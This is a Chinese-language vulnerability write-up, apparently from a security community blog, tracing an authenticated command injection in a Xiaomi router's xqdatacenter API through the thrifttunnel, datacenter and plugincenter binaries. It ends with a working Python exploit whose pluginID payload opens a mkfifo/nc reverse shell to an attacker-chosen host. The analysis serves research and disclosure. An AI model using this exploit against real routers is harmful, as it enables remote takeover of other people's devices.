某米路由器命令执行漏洞分析

0daylua脚本命令执行
2025-06-28 16:41
31558

固件分析与解包

使用binwalk 命令先看看固件相关的信息,可以看他是一个ubi镜像,我们得使用专门ubi提取固件的工具进行提取,看到ubi那可以判断他是nand类型的闪存

image.png

我们使用binwalk进行解包,发现有一个2B4.ubi镜像,使用下面的教程就可以解压出来。

binwalk -Me miwifi_ra70_firmware_cc424_1.0.168.bin

image.png

安装工具:

pip install ubireader

提取:

ubireader_extract_images 2B4.ubi

image.png

解包发现有个ubifs文件,我们只有需要去解密最核心的rootfs文件,即可得到里面的SquashFS文件系统。

image.png

image.png

✅ 总结流程图

固件.bin
↓ binwalk
发现 UBI 结构 (0x2B4 等)

提取 UBI 镜像 (dd 或 binwalk)

用 ubireader_extract_images

提取出 UBIFS 镜像

用 ubireader_extract_files 解包 或者binwalk

得到文件系统内容

unluac_miwifi的使用

某米的前端是使用是lua脚本,是编译后luac文件, 且是魔改后的luac, 那么还需要对其进行反编译

<font style="color:rgb(36, 41, 47);">专门针对某米固件的反编译工具</font><font style="color:rgb(9, 105, 218);">unluac_miwifi</font>

git clone https://github.com/NyaMisty/unluac_miwifi.git
cd unluac_miwifi
mkdir build
javac -d build -sourcepath src  src/unluac/*.java
jar -cfm build/unluac.jar src/META-INF/MANIFEST.MF -C build  .

解密

java -jar ./unluac.jar /home/iotsec-zone/xiaomi/ubifs-root/miwifi_r2100_all_7d7b2_2.0.743.bin/squashfs-root/usr/lib/lua/luci/controller/api/xqdatacenter.lua > ./xqdatacenter.lua

某米后端逻辑

米使用是openwrt框架下cgi的主要逻辑在usr/lib/lua/luci/controller/目录下, 此外还有一个某米自己常用的库在路径usr/lib/lua/xiaoqiang/, 我们关注的主要也就是这两部分

漏洞存在位置

web路径cgi-bin/luci/;stok={token}/api/xqdatacenter/request,需要我们传入payload 字段包含的是一段 JSON 数据,JSON数据中包含api,pluginID等字段。

漏洞利用链分析

在反编译的/usr/lib/lua/luci/controller/api/xqdatacenter.lua中,可以看到 URL /api/xqdatacenter/request 相关的handler函数是tunnelRequest函数,且访问/api/xqdatacenter这个节点是需要鉴权的,我们使用ai让我们代码具有可读性。

local L0, L1, L2, L3, L4, L5
L0 = module
L1 = "luci.controller.api.xqdatacenter"
L2 = package
L2 = L2.seeall
L0(L1, L2)
function L0()
  local L0, L1, L2, L3, L4, L5, L6
  L0 = node
  L1 = "api"
  L2 = "xqdatacenter"
  L0 = L0(L1, L2)
  L1 = firstchild
  L1 = L1()
  L0.target = L1
  L0.title = ""
  L0.order = 300
  L0.sysauth = "admin"
  L0.sysauth_authenticator = "jsonauth"
  L0.index = true
  L1 = entry
  L2 = {}
  L3 = "api"
  L4 = "xqdatacenter"
  L2[1] = L3
  L2[2] = L4
  L3 = firstchild
  L3 = L3()
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 300
  L1(L2, L3, L4, L5)
  L1 = entry
  L2 = {}
  L3 = "api"
  L4 = "xqdatacenter"
  L5 = "request"
  L2[1] = L3
  L2[2] = L4
  L2[3] = L5
  L3 = call
  L4 = "tunnelRequest"
  L3 = L3(L4)
  L4 = _
  L5 = ""
  L4 = L4(L5)
  L5 = 301
  L1(L2, L3, L4, L5)
module("luci.controller.api.xqdatacenter", package.seeall)

function index()
    local page

    -- 创建节点 /api/xqdatacenter
    page = node("api", "xqdatacenter")
    page.target = firstchild()
    page.title = ""
    page.order = 300
    page.sysauth = "admin"
    page.sysauth_authenticator = "jsonauth"
    page.index = true

    -- 映射 /api/xqdatacenter 到 firstchild()(一般是目录节点)
    entry({"api", "xqdatacenter"}, firstchild(), _(""), 300)

    -- 映射 /api/xqdatacenter/request 到调用函数 tunnelRequest
    entry({"api", "xqdatacenter", "request"}, call("tunnelRequest"), _(""), 301)
end

tunnelRequest函数中,传入的 payload 字段包含的是一段 JSON 数据,这段数据是通过 formvalue_unsafe 函数获取的。由于该函数不会对输入内容进行安全过滤,因此可能存在安全隐患。接着,这段 JSON 数据会先被转换为二进制格式,然后通过 binaryBase64Enc 函数进行 Base64 编码。最终,编码后的内容会被拼接进一个由 THRIFT_TUNNEL_TO_DATACENTER 所表示的系统命令中,并被执行。

function L5()
  local L0, L1, L2, L3, L4, L5, L6, L7, L8, L9
  L0 = require
  L1 = "luci.util"
  L0 = L0(L1)
  L1 = require
  L2 = "xiaoqiang.util.XQCryptoUtil"
  L1 = L1(L2)
  L2 = L1.binaryBase64Enc
  L3 = _UPVALUE0_
  L3 = L3.formvalue_unsafe
  L4 = "payload"
  L3, L4, L5, L6, L7, L8, L9 = L3(L4)
  L2 = L2(L3, L4, L5, L6, L7, L8, L9)
  L3 = _UPVALUE1_
  L3 = L3.THRIFT_TUNNEL_TO_DATACENTER
  L3 = L3 % L2
  L4 = L0.exec
  L5 = L3
  L4 = L4(L5)
  L5 = _UPVALUE0_
  L5 = L5.write
  L6 = L4
  L7 = nil
  L8 = false
  L9 = true
  L5(L6, L7, L8, L9)
  L5 = _UPVALUE2_
  L5 = L5.decode
  L6 = L4
  L5 = L5(L6)
  L6 = L5.api
  if 666 == L6 then
    L6 = _UPVALUE1_
    L6 = L6.THRIFT_TUNNEL_TO_DATACENTER
    L7 = L1.binaryBase64Enc
    L8 = L4
    L7 = L7(L8)
    L3 = L6 % L7
    L6 = _UPVALUE3_
    L6 = L6.forkExec
    L7 = L3
    L6(L7)
  end
end
tunnelRequest = L5

恢复可读性

function tunnelRequest()
    local util = require("luci.util")
    local crypto = require("xiaoqiang.util.XQCryptoUtil")
    local base64Enc = crypto.binaryBase64Enc

    -- 从请求中获取 payload 字段,使用不安全方法(未过滤)
    local formvalue = _UPVALUE0_.formvalue_unsafe
    local raw_payload = formvalue("payload")

    -- base64 编码 payload 内容(包括可能的多参数展开)
    local encoded = base64Enc(raw_payload)

    -- 构造命令
    local cmd_template = _UPVALUE1_.THRIFT_TUNNEL_TO_DATACENTER
    local cmd = string.format(cmd_template, encoded)

    -- 执行命令
    local output = util.exec(cmd)

    -- 写出执行结果
    _UPVALUE0_.write(output, nil, false, true)

    -- 解码返回结果
    local decode = _UPVALUE2_.decode
    local parsed = decode(output)

    -- 如果解析结果中 api == 666,则执行二次命令
    if parsed.api == 666 then
        local second_cmd_template = _UPVALUE1_.THRIFT_TUNNEL_TO_DATACENTER
        local second_encoded = base64Enc(output)
        local second_cmd = string.format(second_cmd_template, second_encoded)

        -- fork 执行命令
        _UPVALUE3_.forkExec(second_cmd)
    end
end

我们搜索之前区别解密lua脚本,使用grep命令进行查看THRIFT_TUNNEL_TO_DATACENTER在/usr/lib/lua/xiaoqiang/common/XQConfigs.lua下,我们可以看到所指代的命令为thrifttunnel 0 '%s',那就简单了, string.format函数需要传入cmd_template, encoded这两个参数,即thrifttunnel 0 'base64编码的payload字段'赋值给我们cmd,最后执行我们命令util.exec(cmd),那我们需要去分析thrifttunnel逻辑了

L0 = "thrifttunnel 0 '%s'"
THRIFT_TUNNEL_TO_DATACENTER = L0
L0 = "thrifttunnel 1 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME = L0
L0 = "thrifttunnel 2 '%s'"
THRIFT_TUNNEL_TO_SMARTHOME_CONTROLLER = L0
L0 = "thrifttunnel 3 ''"
THRIFT_TO_MQTT_IDENTIFY_DEVICE = L0
L0 = "thrifttunnel 4 ''"
THRIFT_TO_MQTT_GET_SN = L0
L0 = "thrifttunnel 5 ''"
THRIFT_TO_MQTT_GET_DEVICEID = L0
L0 = "thrifttunnel 6 '%s'"
THRIFT_TUNNEL_TO_MIIO = L0
L0 = "thrifttunnel 7 '%s'"
THRIFT_TUNNEL_TO_YEELINK = L0
L0 = "thrifttunnel 8 '%s'"
THRIFT_TUNNEL_TO_CACHECENTER = L0

使用ida分析thrifttunnel逻辑,当我们收到三个参数后会进if判断, 将命令行参数 argv[2] 的字符串内容赋值给变量 v9(一个 std::string 对象) , 将空字符串 "" 赋值给 v11

image.png

进入sub_40DB30函数后,可以发现首先将与a1Base64编码的payload字段)相关的数据作为参数传入了sub_40FABC函数处理,并最终将其返回结果通过string::assign()赋值给了a2(即上一级的v11变量),这个sub_40FABC函数看起来是从一段压缩或编码数据中解码并还原出字符数据,通过位操作和查表方式解析 UTF-8 或自定义 Base64-like 编码,最终写入一个输出流或对象(v13v6)中 ,猜测这里进行了解密的操作,那其实其参数v11就是解码后的Json字符串。

image.png

我们回到主函数进行分析,取我们命令行参数的第二个也就是option 0,那就没错了,由于if判断太难看了,我们使用ai恢复成swich语句,那可以快速的分析我们的代码逻辑,当v6=0的时候会进入sub_40DFE4函数。

image.png

image.png

sub_40DBF4函数中,创建了socket,结合传入的参数(上级的v11变量)是Json字符串,很容易判断出此处会将payload字段的Json数据发送给本地127.0.0.19090端口

image.png

/usr/sbin/datacenter程序一直挂在进程中,监听着9090端口,故我们的数据被传到了datacenter程序进一步处理。我们的漏洞点是在605的时候会调用callPluginCenter函数,我们简单的分析一下callPluginCenter函数。

image.png

又是发送给本地9091端口进行处理,我们找到9091端口对应的文件是plugincenter,这个文件在系统的/usr/sbin/plugincenter

image.png

我们继续跟踪plugincenter这个二进制程序,我在函数栏进行查找搜索api,查看是否有605对应的映射关系,在经历千辛万苦的寻找终于在datacenter::PluginApiMappingCollection::sConstructMappingTable函数,看到是4663901十进制,我们找到对应地址进行跳转。

image.png

image.png

跳转地址是上面可以看见是0x472A5D,我接着分析,json格式里面pluginID参数最终赋值给了函数uninstallPlugin里面参数v14,我们接着分析uninstallPlugin函数。

image.png

我们传入的值是a3对应传递给了uninstallPlugin函数,我们接着分析uninstallPlugin函数

image.png

我们传入的参数在没有任何校验情况下,进行命令执行。到这里完整利用链就清楚了,那我们现在来构造最后的exp。

image.png

exp

import requests
import socket
import sys

server_ip = ""
client_ip = ""
token = "b994ce28a0bfb56c5ea54be1e97d0e99"


# 构造反弹 shell 命令
nc_shell = ";rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc {} 6666 >/tmp/f;".format(client_ip)

# 尝试连接目标服务器的 80 端口,判断是否在线
def is_host_reachable(ip, port=8098, timeout=2):
    try:
        socket.setdefaulttimeout(timeout)
        socket.socket(socket.AF_INET, socket.SOCK_STREAM).connect((ip, port))
        return True
    except:
        return False

# 如果无法连通则退出
if not is_host_reachable(server_ip):
    print(f"[!] 无法连接到 {server_ip}:8098,终止执行")
    sys.exit(1)

# 发起请求
try:
    res = requests.post(
        f"http://{server_ip}/cgi-bin/luci/;stok={token}/api/xqdatacenter/request",
        data={'payload': '{"api":605, "pluginID":"' + nc_shell + '"}'}
    )
    print("[+] 请求已发送,返回内容:")
    print(res.text)
except Exception as e:
    print(f"[!] 请求发送失败:{e}")


最后成功打出反弹shell

image.png

分享到

参与评论

0 / 200

全部评论 4

KDEV的头像
这篇漏洞细节文简直是给物联网安全领域装了台超高倍显微镜!每个漏洞点都挖得又深又准,连藏在代码缝里的隐患都被揪得明明白白,逻辑顺得像给迷宫画了张带路灯的地图 —— 看完只想说,以后排查这类漏洞,怕是得拿这篇当 “寻宝指南” 了!
2025-07-08 18:03
 meigui的头像
感谢!
2025-07-11 11:10
Aiyflowers的头像
666
2025-07-01 18:59
rew1X的头像
2025-06-28 21:23
李克用的头像
2025-06-28 16:54
投稿
签到
联系我们
关于我们